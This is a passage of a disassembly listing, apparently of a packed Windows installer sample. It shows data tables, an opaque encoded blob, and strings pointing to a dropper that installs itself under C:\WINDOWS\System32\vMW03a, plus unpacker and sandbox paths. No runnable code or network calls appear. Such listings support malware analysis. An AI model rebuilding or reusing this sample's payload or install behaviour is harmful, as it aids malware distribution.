		dd 1E80BA40h, 98BB9A07h, 2CDC0176h, 0DE615E65h,	2701CE65h
		dd 0B09A63ADh, 762CD8BDh, 0FD8FBB23h, 5EE5F59Eh, 0FAC146E2h
		dd 0F902E31Ch, 53875802h, 0A6402DFCh, 0E858A178h, 0BE00F624h
		dd 49152916h, 0ED5A48Bh, 0FE5AAAACh, 870ED645h,	4EFCA1D8h
		dd 8C8E1916h, 7F1FE03h,	0C005A342h, 0EFA29612h,	85B82302h
		dd 0B051463Eh, 92C58CEh, 0EC3DEB50h, 3A646034h,	11FF14BEh
		dd 205E23F7h, 111F1126h, 3D4FC0A7h, 2D909A22h, 21AD3BC1h
		dd 1465A9B3h, 5FA50F47h, 65802E63h, 0D8236234h,	0C010EC7Eh
		dd 2AEC659Eh, 817B0776h, 7196C7BDh, 0F89E2133h,	1FCA6B9Eh
		dd 57F0AFE0h, 85F7EE41h, 31174207h, 24E9781Ch, 0FFB02971h
		dd 905DE2F3h, 9160677Fh, 949252E1h, 66958D29h, 83410B4Bh
		dd 9C8FB928h, 9F2E7F27h, 0E32B1F93h, 69F38486h,	2AEE2F80h
		dd 0E241F7EEh, 3100191h, 346470Ch, 8C89BFF6h, 0DF40DF46h
		dd 1B733E02h, 630E8B38h, 1249981h, 7D819903h, 66F1E987h
		dd 0BC181DC0h, 6DAB221Ch, 81B95310h, 3C0E7F4Fh,	38C44BFAh
		dd 3039E0C0h, 1F1083A3h, 640111D4h, 4BA0F06Bh, 51E4ADC9h
		dd 489901F2h, 52D6A60Dh, 0D483A8DBh, 6E8DCA39h,	34539101h
		dd 4008CCE0h, 52F4F9E6h, 0F473BCD0h, 0BF79A037h, 70E014D0h
		dd 0CCCC5322h, 0C4DA9584h, 310E636Ch, 74B56177h, 883B146Ch
		dd 61CD897Dh, 0D973B3A7h, 9001EC5Dh, 8BD64DC4h,	72FAE3F3h
		dd 0AFC48089h, 36DC1570h, 86770F6Eh, 0CAE737FBh, 0F8CDF27Bh
		dd 0FCA3C1Eh, 97F84BE3h, 0AFC69F9h, 0E7F2D7Eh, 219FAAE2h
		dd 0C211084Eh, 41216884h, 840A1748h, 42CD84B7h,	0A2057095h
		dd 6FC29B81h, 0C7203F82h, 9F96F054h, 9900878Ah,	57F13BFh
		dd 0CF4BD674h, 0D20949h, 4E34A869h, 6BD229Ah, 74AF7AECh
		dd 0FA4EFA59h, 0F24DFA59h, 6B00DB96h, 0CB872EEEh, 7902E423h
		dd 4C0E5C8Ch, 94F91DF8h, 2B7C1D7Ch, 9EA65C3Ch, 88A1D07h
		dd 0A9600CC8h, 5E91813Bh, 1783DA45h, 3EE8A9Dh, 0F500F846h
		dd 4189FF02h, 4D8C9574h, 6F02D6C6h, 41798B3Bh, 27831B0Ch
		dd 0AF1065E0h, 0C33FC36Eh, 0C0EEE26Fh, 6C88C28Fh, 80711D62h
		dd 0A64C04B8h, 0D192490Dh, 30F266E4h, 9EFC8679h, 429C0B6Ch
		dd 0D953FAA4h, 0E353E54h, 0FA99BB64h, 0DD4CBA9Ch, 0E6813AA6h
		dd 0D32FA79Fh, 28070C1Eh, 613C089Dh, 0E4CD9308h, 44CC2533h
		dd 1B36FF0h, 1B339793h,	2EC3B81h, 7CC23E14h, 35F67A01h
		dd 0E62DC458h, 0B70E01Eh, 5DB1DB6h, 901C3462h, 58A037B7h
		dd 3B02FB22h, 96C51D94h, 99101EB1h, 0B6888375h,	0EDCADB80h
		dd 0F4420EE2h, 0CF5733FAh, 1049F145h, 1BE5DD7Dh, 4484AD09h
		dd 0D2E20D21h, 3EE9E0B1h, 11366901h, 3504423Bh,	0DC4B7C47h
		dd 0DF155E2Dh, 0A4423A94h, 0F02021F0h, 46A5D97Dh, 8FC87B35h
		dd 80132328h, 8E41EFBBh, 47AF3B01h, 0F0BBE13Ah,	6B22C07Dh
		dd 2F64F6F0h, 804364E0h, 67254D87h, 407F0600h, 17F201Eh
		dd 8C0EE556h, 0A8929FCAh, 4A812A28h, 8334C607h,	0D1FAA5AAh
		dd 535D80C9h, 0A56FB3C0h, 0E897D08Fh, 6618E81Fh, 0C5987B1Ch
		dd 2ADC05B8h, 7CB689D0h, 0E21F3F32h, 23497FB1h,	5A6A20h
		dd 0BC0B782Bh, 0EDCA7ACh, 0F90AC27Ch, 0E00EC523h, 8A8BC281h
		dd 0C1BB2039h, 0B1819C17h, 0C12884DCh, 18F7AC0Bh, 58E5612Ah
		dd 7BB9600Fh, 25EDB81h,	6F0F7B4Eh, 0CE037445h, 897D132Ah
		dd 0B9246264h, 764D3C9Ch, 29517AA7h, 0D0FAD8C0h, 5C87832Fh
		dd 8C7CBA08h, 0BFF49BEh, 0F80E5A18h, 834177C0h,	0EC3AA96Fh
		dd 4F83FACBh, 0ECD1D8E3h, 0D39D406Eh, 6F645ECh,	535CEEBh
		dd 37140EFh, 0B9F28101h, 7DDE3071h, 12D72D5Ch, 0BE7802F6h
		dd 9F983F3Fh, 6BE24C08h, 0D7221BDEh, 0FC9E20D7h, 0FE213C4Ch
		dd 8D97A0Ch, 52B6C5E2h,	0D48FA957h, 88864A4Fh, 81C41270h
		dd 806EA40Bh, 3220A3B0h, 519F2DDBh, 60FA9CBCh, 0C94E9672h
		dd 4408B2Dh, 0C390FB5h,	7D1837FAh, 6D15FD07h, 3047B10Ah
		dd 69300BD6h, 0DB0AB61Ch, 4EC7ED8Eh, 96B1D761h,	17F05B78h
		dd 66DDC071h, 45F173E0h, 8F586AF8h, 59E5C0C3h, 0D6C04DE2h
		dd 0E215C483h, 3D69F026h, 632B0F19h, 5720DF24h,	59C90EC3h
		dd 1EF21BF2h, 0A8035389h, 6004D4E1h, 8B53AFAEh,	6AD4E5A8h
		dd 31F50B6Ah, 0BD6C07B5h, 8B4A6A86h, 843D0474h,	8227A22Eh
		dd 0D1D11E74h, 9833124Ch, 324664C9h, 5F1B41A3h,	0EF311665h
		dd 23031F31h, 58BA0038h, 0BE679CC3h, 8D38F05h, 783BB0F4h
		dd 0A7ECB5D1h, 0B38E73E0h, 80DFB25Fh, 0D20CFFB5h, 0B9FCE5F2h
		dd 55175CF6h, 4DE0D966h, 6057702Fh, 0F73EE517h,	0B7C3E727h
		dd 21F33BE4h, 0F067C33Ch, 2009F9A3h, 838137B7h,	6C2C0BBDh
		dd 0F3E33027h, 1DF9480h, 0F604FC02h, 4EF61A3Fh,	79DE01DEh
		dd 9EFEAC1Eh, 21BD17A0h, 0F108EFEEh, 3D80BFFEh,	0B57F0674h
		dd 700F7A48h, 0B9F4BF7Eh, 5AFA4174h, 2BBA51FAh,	6442903Dh
		dd 41E1221Ah, 2D5E51B2h, 0EDF10FBFh, 2F6B8801h,	9E568B01h
		dd 2853489Ch, 0F889922Bh, 0A9F818A2h, 0B075F464h, 2FE8C3F0h
		dd 635B93C0h, 0FC0930DDh, 0B2700795h, 9F11B8A1h, 11D3F106h
		dd 0EBB057FCh, 97E284C6h, 7A258271h, 4E380F83h,	0E40990C4h
		dd 25F6D028h, 24EC6310h, 605793F7h, 164949E7h, 5F395D30h
		dd 18795003h, 0D45ABEC4h, 5D220CBBh, 23DC225h, 0D512AD71h
		dd 0E85601DEh, 906C510Bh, 63C735EAh, 0AC2A20F3h, 0CB93C02h
		dd 710F58DCh, 6EC4085Eh, 0D2EEC8Eh, 6024DD38h, 4DE8CB72h
		dd 38FA1EF4h, 602DC5A0h, 84C0BE33h, 0C4CF8043h,	96E681h
		dd 0AFF97383h, 17E7A97Fh, 0F47107A8h, 4483C975h, 319D901Fh
		dd 0CB84632Bh, 0A317D9FFh, 0EAE0A81Ch, 79482EAh, 0EAF0F576h
		dd 0E6663331h, 8D758DEFh, 3CB2B5Ch, 0A5C25Bh, 6D0E9D57h
		dd 787AF882h, 0DD5C776Ah, 119484E1h, 7BCFDE1Eh,	72BAF4E8h
		dd 0AFA755DAh, 80BC841Ch, 9A5736E0h, 74DC5D22h,	5586952Eh
		dd 0E0834AEDh, 4FE501D4h, 6B8AEC02h, 7ED1B6BFh,	7F29213Fh
		dd 0AEC6E760h, 0AF5FBD59h, 6E3F0FE8h, 0B0B93C16h, 0EDF41918h
		dd 0CE3FF6BCh, 2A6F2CA9h, 0D5AEE523h, 6BBBB7F0h, 0AAECC060h
		dd 58DCE62Fh, 0F213F077h
dword_428C58	dd 1B45Fh		; DATA XREF: sub_402BAB+3Cr
					; sub_402C37:loc_402CA8w ...
		align 10h
word_428C60	dw 0			; DATA XREF: start+20Bo start+217w
		align 4
		dd 1FDh	dup(0)
		db 2 dup(0)
dword_42945A	dd 0			; DATA XREF: start+255r
		align 10h
dword_429460	dd 100h	dup(0)		; DATA XREF: start+210o
dword_429860	dd 2 dup(0)		; DATA XREF: start+38o
					; sub_404281:loc_404491o
dword_429868	dd 0			; DATA XREF: sub_4038DB+B0r
					; sub_4038DB+1BCw ...
dword_42986C	dd 0			; DATA XREF: sub_403ED7+6r
					; sub_403ED7+28w ...
dword_429870	dd 100h	dup(0)		; DATA XREF: sub_404281+14Co
dword_429C70	dd 0			; DATA XREF: sub_4038DB+141w
					; sub_4038DB+15Bw ...
		align 8
dword_429C78	dd 100h	dup(0)		; DATA XREF: sub_404281+8Co
dword_42A078	dd 0			; DATA XREF: sub_4038DB+3C1w
					; sub_403F0B+155r ...
		align 10h
byte_42A080	db 0			; DATA XREF: sub_404D7E+20o
					; sub_404D7E+C5w
		align 4
		dd 1FFh	dup(0)
dword_42A880	dd 0			; DATA XREF: sub_403542+1E6w
					; sub_403542+210r ...
dword_42A884	dd 0			; DATA XREF: sub_4046C3+B5w
					; sub_4046C3+C4r ...
dword_42A888	dd 0			; DATA XREF: sub_403F0B+115w
					; sub_403F0B+149r ...
dword_42A88C	dd 0			; DATA XREF: sub_4038DB+195w
					; sub_4038DB+1E4w ...
dword_42A890	dd 0			; DATA XREF: sub_404281:loc_40437Aw
					; sub_404281+252r ...
dword_42A894	dd 0			; DATA XREF: sub_4046C3+A5w
					; sub_404CBD+AFr
dword_42A898	dd 0			; DATA XREF: sub_4046C3+78w
					; sub_4046C3+1C4r ...
dword_42A89C	dd 0			; DATA XREF: sub_4038DB+1B0w
					; sub_4038DB:loc_403C20r ...
byte_42A8A0	db 0			; DATA XREF: sub_403542:loc_403576o
					; sub_403542+54r ...
		align 4
		dd 3FFh	dup(0)
dword_42B8A0	dd 0			; DATA XREF: sub_4028A8:loc_40290Ar
					; sub_4038DB:loc_403D6Br ...
		align 8
dword_42B8A8	dd 100h	dup(0)		; DATA XREF: sub_40531D:loc_40536Fo
dword_42BCA8	dd 100h	dup(0)		; DATA XREF: sub_4055C8+6o
dword_42C0A8	dd 100h	dup(0)		; DATA XREF: sub_405723+94o
					; sub_405723+13Bo
dword_42C4A8	dd 100h	dup(0)		; DATA XREF: sub_405723:loc_405793o
dword_42C8A8	dd 44h			; DATA XREF: sub_405263+9w
					; sub_405263+2Bo
		dd 11h dup(0)
dword_42C8F0	dd 50h dup(0)		; DATA XREF: sub_405CB0+10o
dword_42CA30	dd 0			; DATA XREF: sub_405723+32w
					; sub_405723+43o
		dd 0FFh	dup(0)
dword_42CE30	dd 0			; DATA XREF: sub_405D4B+27w
					; sub_405D4B+5Ar
dword_42CE34	dd 77073096h		; DATA XREF: sub_405D4Br
		dd 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh, 0E963A535h
		dd 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh,	97D2D988h
		dd 9B64C2Bh, 7EB17CBDh,	0E7B82D07h, 90BF1D91h, 1DB71064h
		dd 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh,	6DDDE4EBh
		dd 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h,	0FD62F97Ah
		dd 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h,	8D080DF5h
		dd 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h, 3C03E4D1h
		dd 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh, 42B2986Ch
		dd 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h, 0DCD60DCFh
		dd 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h, 0BFD06116h
		dd 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh, 2802B89Eh
		dd 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h, 58684C11h
		dd 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h,	98D220BCh
		dd 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h, 0E8B8D433h
		dd 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h,	7F6A0DBBh
		dd 86D3D2Dh, 91646C97h,	0E6635C01h, 6B6B51F4h, 1C6C6162h
		dd 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh,	8208F4C1h
		dd 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh,	0FCB9887Ch
		dd 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h,	4DB26158h
		dd 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h, 3DD895D7h
		dd 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh, 0AD678846h
		dd 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh, 0DD0D7CC9h
		dd 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h, 5768B525h
		dd 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh, 29D9C998h
		dd 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h, 0B7BD5C3Bh
		dd 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch,	74B1D29Ah
		dd 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h, 0E3630B12h
		dd 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh,	9309FF9Dh
		dd 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h,	1E01F268h
		dd 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h,	6E6B06E7h
		dd 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh,	0F9B9DF6Fh
		dd 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h,	0A1D1937Eh
		dd 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h, 3FB506DDh
		dd 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h, 41047A60h
		dd 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h, 0CB61B38Ch
		dd 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h, 0BB0B4703h
		dd 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h, 2BB45A92h
		dd 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh, 5BDEAE1Dh
		dd 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah, 9C0906A9h
		dd 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h, 0E2B87A14h
		dd 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh,	7CDCEFB7h
		dd 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h,	1FDA836Eh
		dd 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h,	88085AE6h
		dd 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh,	0F862AE69h
		dd 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh, 4E048354h
		dd 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh, 3E6E77DBh
		dd 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h, 0A9BCAE53h
		dd 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch, 0CABAC28Ah
		dd 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h, 54DE5729h
		dd 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h, 2A6F2B94h
		dd 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_42D230	dd 0			; DATA XREF: sub_405DB9+18Do
					; sub_405DB9+1C8r
dword_42D234	dd 0			; DATA XREF: sub_405DB9+158o
					; sub_405DB9+1C0r
dword_42D238	dd 8Fh dup(0)		; DATA XREF: sub_405DB9+114o
					; sub_405DB9+148o ...
dword_42D474	dd 71h dup(0)		; DATA XREF: sub_405DB9:loc_405ED2o
dword_42D638	dd 18h dup(0)		; DATA XREF: sub_405DB9+122o
dword_42D698	dd 8 dup(0)		; DATA XREF: sub_405DB9:loc_405EE6o
dword_42D6B8	dd 3			; DATA XREF: sub_405DB9+13Eo
					; sub_4068B0+E8w ...
		dd 0Ah,	0Eh, 0Fh, 10h, 12h, 16h, 0
		dd 4, 6, 7, 8, 0Bh, 0Ch, 0Dh, 11h, 13h,	14h, 15h, 17h
		dd 18h,	1Ah, 1Ch, 5, 9,	19h, 1,	1Bh, 2,	1Dh, 0Ch, 10h
		dd 14h,	15h, 1Ch, 20h, 28h, 30h, 33h, 3Fh, 42h,	43h, 44h
		dd 48h,	49h, 4Ch, 4Fh, 51h, 53h, 54h, 55h, 56h,	57h, 5Ch
		dd 5Fh,	61h, 63h, 66h, 67h, 69h, 6Ah, 6Ch, 6Eh,	6Fh, 75h
		dd 78h,	7Dh, 80h, 88h, 0A8h, 0B0h, 0B8h, 0C0h, 0CCh, 0D0h
		dd 0D4h, 0D8h, 0DCh, 0E0h, 0E8h, 0F0h, 0F8h, 0FCh, 108h
		dd 10Bh, 10Ch, 10Dh, 10Eh, 10Fh, 2, 3, 6, 7, 9,	0Ah, 0Bh
		dd 0Eh,	0Fh, 11h, 13h, 16h, 18h, 1Bh, 1Dh, 1Fh,	21h, 23h
		dd 24h,	2Ch, 2Eh, 2Fh, 31h, 32h, 34h, 35h, 36h,	38h, 39h
		dd 3Ch,	3Dh, 41h, 46h, 4Ah, 4Eh, 58h, 5Dh, 60h,	62h, 6Dh
		dd 71h,	76h, 77h, 7Ch, 7Fh, 83h, 84h, 85h, 8Ch,	90h, 91h
		dd 94h,	95h, 98h, 0A0h,	0A4h, 0B4h, 0B5h, 0BAh,	0BCh, 0C3h
		dd 0C7h, 0C8h, 0D3h, 0D6h, 0D7h, 0E4h, 0EBh, 0ECh, 0F4h
		dd 0F7h, 110h, 111h, 5,	0Dh, 12h, 19h, 1Ah, 1Eh, 27h, 29h
		dd 2Ah,	2Dh, 37h, 3Ah, 3Bh, 3Eh, 4Bh, 59h, 5Ah,	5Bh, 5Eh
		dd 6Bh,	79h, 7Bh, 7Eh, 8Ah, 8Eh, 92h, 93h, 9Ch,	9Dh, 9Eh
		dd 0ACh, 0B7h, 0BDh, 0C1h, 0C4h, 0C5h, 0CFh, 0DBh, 0E6h
		dd 0E9h, 0EEh, 0F6h, 0F9h, 0FBh, 0FDh, 0FEh, 114h, 117h
		dd 17h,	26h, 2Bh, 47h, 7Ah, 81h, 86h, 87h, 97h,	99h, 9Ah
		dd 9Bh,	0A1h, 0A2h, 0A5h, 0A6h,	0A7h, 0AAh, 0ABh, 0B6h
		dd 0BBh, 0BEh, 0BFh, 0C2h, 0C6h, 0CAh, 0CDh, 0D1h, 0E2h
		dd 0E3h, 0EAh, 0EDh, 0EFh, 0F1h, 0FAh, 112h, 115h, 116h
		dd 25h,	82h, 8Fh, 9Fh, 0A9h, 0ADh, 0AEh, 0AFh, 0B1h, 0B3h
		dd 0B9h, 0CBh, 0CEh, 0D2h, 0D9h, 0DAh, 0DDh, 0DEh, 0E5h
		dd 0F3h, 0F5h, 100h, 113h, 119h, 22h, 0B2h, 0D5h, 0DFh
		dd 0E1h, 0E7h, 0F2h, 118h, 100h, 116h, 118h, 119h, 4 dup(0)
dword_42DB38	dd 220h	dup(0)		; DATA XREF: sub_405DB9+14Eo
					; sub_405DB9+183o
byte_42E3B8	db 0			; DATA XREF: sub_405DB9:loc_405EBCr
					; sub_405DB9+1AAw
		align 10h
aCWindowsSyst_3	db 'C:\WINDOWS\System32\vMW03a\vMW03a1066.exe',0 ; DATA XREF: sub_403542+B0o
					; sub_403542+C4r ...
		align 4
		dd 1F5h	dup(0)
dword_42EBC0	dd 0			; DATA XREF: sub_403542+157o
dword_42EBC4	dd 0			; DATA XREF: sub_403542+17Aw
		align 10h
dword_42EBD0	dd 0			; DATA XREF: sub_403542+184w
dword_42EBD4	dd 0			; DATA XREF: sub_403542+168w
		dd 3 dup(0)
dword_42EBE4	dd 0			; DATA XREF: sub_403542+18Aw
					; sub_403542+25Aw
dword_42EBE8	dd 0			; DATA XREF: sub_404D7E+68r
					; sub_404EBC+75w
dword_42EBEC	dd 0			; DATA XREF: sub_401439:loc_40149Fw
					; sub_403542+2A3r ...
dword_42EBF0	dd 0			; DATA XREF: sub_401439:loc_401587r
					; sub_404EBC+66w ...
dword_42EBF4	dd 0			; DATA XREF: sub_40136D+5Cr
					; sub_404EBC+99w
dword_42EBF8	dd 0			; DATA XREF: sub_4038DB+67r
					; sub_4038DB+77w ...
dword_42EBFC	dd 14F54Fh		; DATA XREF: sub_40380E:loc_403883w
					; sub_403F0B+20r ...
dword_42EC00	dd 0			; DATA XREF: sub_403542:loc_4037AFr
					; sub_40380E+4Dw ...
dword_42EC04	dd 0			; DATA XREF: sub_401439:loc_4015A0r
					; sub_404D7E+6r ...
dword_42EC08	dd 9009Fh		; DATA XREF: sub_403542+14Ew
					; sub_4038DB+1C6r
dword_42EC0C	dd 0			; DATA XREF: sub_40136D+56w
					; sub_40136D+72r ...
		dd 4 dup(0)
aNameSetup	db 'Name Setup',0       ; DATA XREF: sub_401148+8o start+48o ...
		align 4
		dd 1FDh	dup(0)
dword_42F420	dd 400000h		; DATA XREF: sub_402C37+27r
					; sub_402C37+160r ...
dword_42F424	dd 0			; DATA XREF: sub_401000:loc_401019r
					; sub_401439+9r ...
dword_42F428	dd 14ECD8h		; DATA XREF: sub_401000:loc_401039r
					; sub_4012E2+6r ...
dword_42F42C	dd 7E00h		; DATA XREF: sub_4026FA+66r
					; sub_402C37:loc_402CB5r ...
dword_42F430	dd 88h			; DATA XREF: sub_402C37+242w
					; sub_403542+81r ...
dword_42F434	dd 0			; DATA XREF: sub_402C37+249w
					; start+16Br
		align 10h
dword_42F440	dd 14EDF8h		; DATA XREF: sub_402C37+273o
					; sub_4038DB+1F6r
dword_42F444	dd 0			; DATA XREF: sub_4038DB+9Er
					; sub_4038DB+25Dr ...
dword_42F448	dd 14EDF8h		; DATA XREF: sub_40117D+4r
					; sub_4011EF+12r ...
dword_42F44C	dd 1			; DATA XREF: sub_401198+7r
					; sub_4011D0+11r ...
dword_42F450	dd 14F210h		; DATA XREF: sub_40136D+Cr
		dd 0Bh
dword_42F458	dd 14F344h		; DATA XREF: sub_403542+ABr
					; sub_403F0B:loc_403F3Cr ...
		align 10h
dword_42F460	dd 14F545h		; DATA XREF: sub_40380E+2Er
dword_42F464	dd 1			; DATA XREF: sub_40380E:loc_403822r
dword_42F468	dd 14F5E7h		; DATA XREF: sub_401439:loc_401D13r
		align 10h
		dd 14ECD8h, 0
dword_42F478	dd 8076h		; DATA XREF: sub_402EBD+36r
		align 10h
dword_42F480	dd 0			; DATA XREF: sub_4046C3+59w
					; sub_4046C3+44Dw
		dd 7 dup(0)
dword_42F4A0	dd 0			; DATA XREF: sub_401439+111w
					; sub_401439+141r ...
dword_42F4A4	dd 0			; DATA XREF: sub_402B61+8r
					; sub_4059FD:loc_405B2Ar
dword_42F4A8	dd 0			; DATA XREF: sub_401439:loc_4018C2w
					; sub_4028A8+8Aw ...
dword_42F4AC	dd 0			; DATA XREF: sub_4038DB+132r
					; sub_4038DB+2CDr ...
dword_42F4B0	dd 0			; DATA XREF: sub_405723:loc_405895w
dword_42F4B4	dd 0			; DATA XREF: sub_4021F6:loc_40229Dw
					; start:loc_40346Ar
		align 10h
dword_42F4C0	dd 8			; DATA XREF: sub_402C37:loc_402E72w
					; sub_403542+202r ...
dword_42F4C4	dd 0			; DATA XREF: sub_404281+223w
dword_42F4C8	dd 0			; DATA XREF: sub_40380E+56w
					; sub_4052DB:loc_4052F5r
dword_42F4CC	dd 0FFFFFFFFh		; DATA XREF: start:loc_403322w
					; start:loc_403505r
dword_42F4D0	dd 1			; DATA XREF: sub_401439+BB4r start+27w ...
_data		ends

; Section 4. (virtual address 00030000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00030000
; Flags	C0000080: Bss Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_ndata		segment	para public 'BSS' use32
		assume cs:_ndata
		;org 430000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_430000	dd 1400h dup(0)		; DATA XREF: sub_40136D+2Eo
					; sub_401439+29o ...
byte_435000	db 70h			; DATA XREF: sub_403132+28o
					; start:loc_4031F6o ...
byte_435001	db 61h,	63h, 6Bh	; DATA XREF: start+C6o
		db  65h	; e
		db 64h,	2Eh, 65h
		db  78h	; x
		db 65h,	0, 5Ch
aSriUserLocals1	db 'SRI-user\LOCALS~1\Temp\nsh1.tmp',0
		dd 0F5h	dup(0)
aCWindowsSyst_2	db 'C:\WINDOWS\System32',0 ; DATA XREF: sub_4026FA:loc_402721o
					; start+155o ...
		dd 0FBh	dup(0)
aCWindowsSyst_0	db 'C:\WINDOWS\System32\vMW03a',0 ; DATA XREF: sub_401439+204o
					; sub_401439:loc_4017CAo ...
		align 4
		dd 0F9h	dup(0)
aCM_unpacker	db 'C:\m_unpacker',0    ; DATA XREF: sub_402C37+1Ao
aPacked_exe	db 'packed.exe',0
		align 4
		dd 0F9h	dup(0)
a1033		db '1033',0             ; DATA XREF: sub_403542+28o
					; sub_403542+39w ...
		align 4
		dd 0FEh	dup(0)
aCDocume1SriUse	db 'C:\DOCUME~1\SRI-user\LOCALS~1\Temp\',0 ; DATA XREF: sub_403132+1o
					; start+52o
		dd 0F7h	dup(0)
dword_436800	dd 200h	dup(0)		; DATA XREF: sub_40351D+1Ao
dword_437000	dd 400h	dup(0)		; DATA XREF: sub_4038DB+290o
_ndata		ends

; Section 6. (virtual address 00039000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00038800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 439000h
		align 2000h
_idata2		ends


		end start